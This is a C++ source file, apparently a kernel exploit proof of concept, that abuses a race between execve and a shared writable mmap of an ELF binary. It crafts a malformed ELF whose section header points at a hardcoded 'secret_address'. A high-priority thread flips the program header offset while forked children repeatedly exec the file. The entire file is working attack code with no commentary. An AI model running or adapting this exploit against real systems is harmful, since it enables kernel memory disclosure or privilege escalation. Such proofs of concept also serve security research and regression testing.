elf-execve-mmap-race.cpp 3.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129
  1. #include <LibELF/exec_elf.h>
  2. #include <fcntl.h>
  3. #include <pthread.h>
  4. #include <stdio.h>
  5. #include <string.h>
  6. #include <sys/mman.h>
  7. #include <sys/wait.h>
  8. #include <unistd.h>
  9. volatile bool hax = false;
  10. int main()
  11. {
  12. char buffer[16384];
  13. auto& header = *(Elf32_Ehdr*)buffer;
  14. header.e_ident[EI_MAG0] = ELFMAG0;
  15. header.e_ident[EI_MAG1] = ELFMAG1;
  16. header.e_ident[EI_MAG2] = ELFMAG2;
  17. header.e_ident[EI_MAG3] = ELFMAG3;
  18. header.e_ident[EI_CLASS] = ELFCLASS32;
  19. header.e_ident[EI_DATA] = ELFDATA2LSB;
  20. header.e_ident[EI_VERSION] = EV_CURRENT;
  21. header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
  22. header.e_ident[EI_ABIVERSION] = 0;
  23. header.e_type = ET_EXEC;
  24. header.e_version = EV_CURRENT;
  25. header.e_ehsize = sizeof(Elf32_Ehdr);
  26. header.e_machine = EM_386;
  27. header.e_shentsize = sizeof(Elf32_Shdr);
  28. header.e_phnum = 1;
  29. header.e_phoff = 52;
  30. header.e_phentsize = sizeof(Elf32_Phdr);
  31. auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
  32. ph[0].p_vaddr = 0x20000000;
  33. ph[0].p_type = PT_LOAD;
  34. ph[0].p_filesz = sizeof(buffer);
  35. ph[0].p_memsz = sizeof(buffer);
  36. ph[0].p_flags = PF_R | PF_W;
  37. ph[0].p_align = PAGE_SIZE;
  38. header.e_shnum = 3;
  39. header.e_shoff = 1024;
  40. u32 secret_address = 0x00184658;
  41. auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
  42. sh[0].sh_type = SHT_SYMTAB;
  43. sh[0].sh_offset = 2048;
  44. sh[0].sh_entsize = sizeof(Elf32_Sym);
  45. sh[0].sh_size = 1 * sizeof(Elf32_Sym);
  46. sh[1].sh_type = SHT_STRTAB;
  47. sh[1].sh_offset = secret_address - 0x01001000;
  48. sh[1].sh_entsize = 0;
  49. sh[1].sh_size = 1024;
  50. sh[2].sh_type = SHT_STRTAB;
  51. sh[2].sh_offset = 4096;
  52. sh[2].sh_entsize = 0;
  53. sh[2].sh_size = 1024;
  54. header.e_shstrndx = 2;
  55. auto* sym = (Elf32_Sym*)(&buffer[2048]);
  56. sym[0].st_value = 0;
  57. sym[0].st_name = 0;
  58. header.e_entry = 0;
  59. int fd = open("x", O_RDWR | O_CREAT, 0777);
  60. if (fd < 0) {
  61. perror("open");
  62. return 1;
  63. }
  64. int nwritten = write(fd, buffer, sizeof(buffer));
  65. if (nwritten < 0) {
  66. perror("write");
  67. return 1;
  68. }
  69. sync();
  70. auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fd, 0);
  71. if (mapped == MAP_FAILED) {
  72. perror("mmap");
  73. return 1;
  74. }
  75. auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
  76. pthread_attr_t attrs;
  77. pthread_attr_init(&attrs);
  78. sched_param high_prio { 99 };
  79. pthread_attr_setschedparam(&attrs, &high_prio);
  80. pthread_t t;
  81. pthread_create(
  82. &t, &attrs, [](void* ctx) -> void* {
  83. auto& ph = *(volatile Elf32_Phdr*)ctx;
  84. for (;;) {
  85. if (!hax)
  86. ph.p_offset = 0x60000000;
  87. else
  88. ph.p_offset = 0;
  89. hax = !hax;
  90. usleep(1);
  91. }
  92. return nullptr;
  93. },
  94. &writable_program_headers[0]);
  95. for (;;) {
  96. if (!fork()) {
  97. try_again:
  98. printf("exec\n");
  99. if (execl("/home/anon/x", "x", nullptr) < 0) {
  100. }
  101. goto try_again;
  102. }
  103. printf("waitpid\n");
  104. waitpid(-1, nullptr, 0);
  105. }
  106. return 0;
  107. }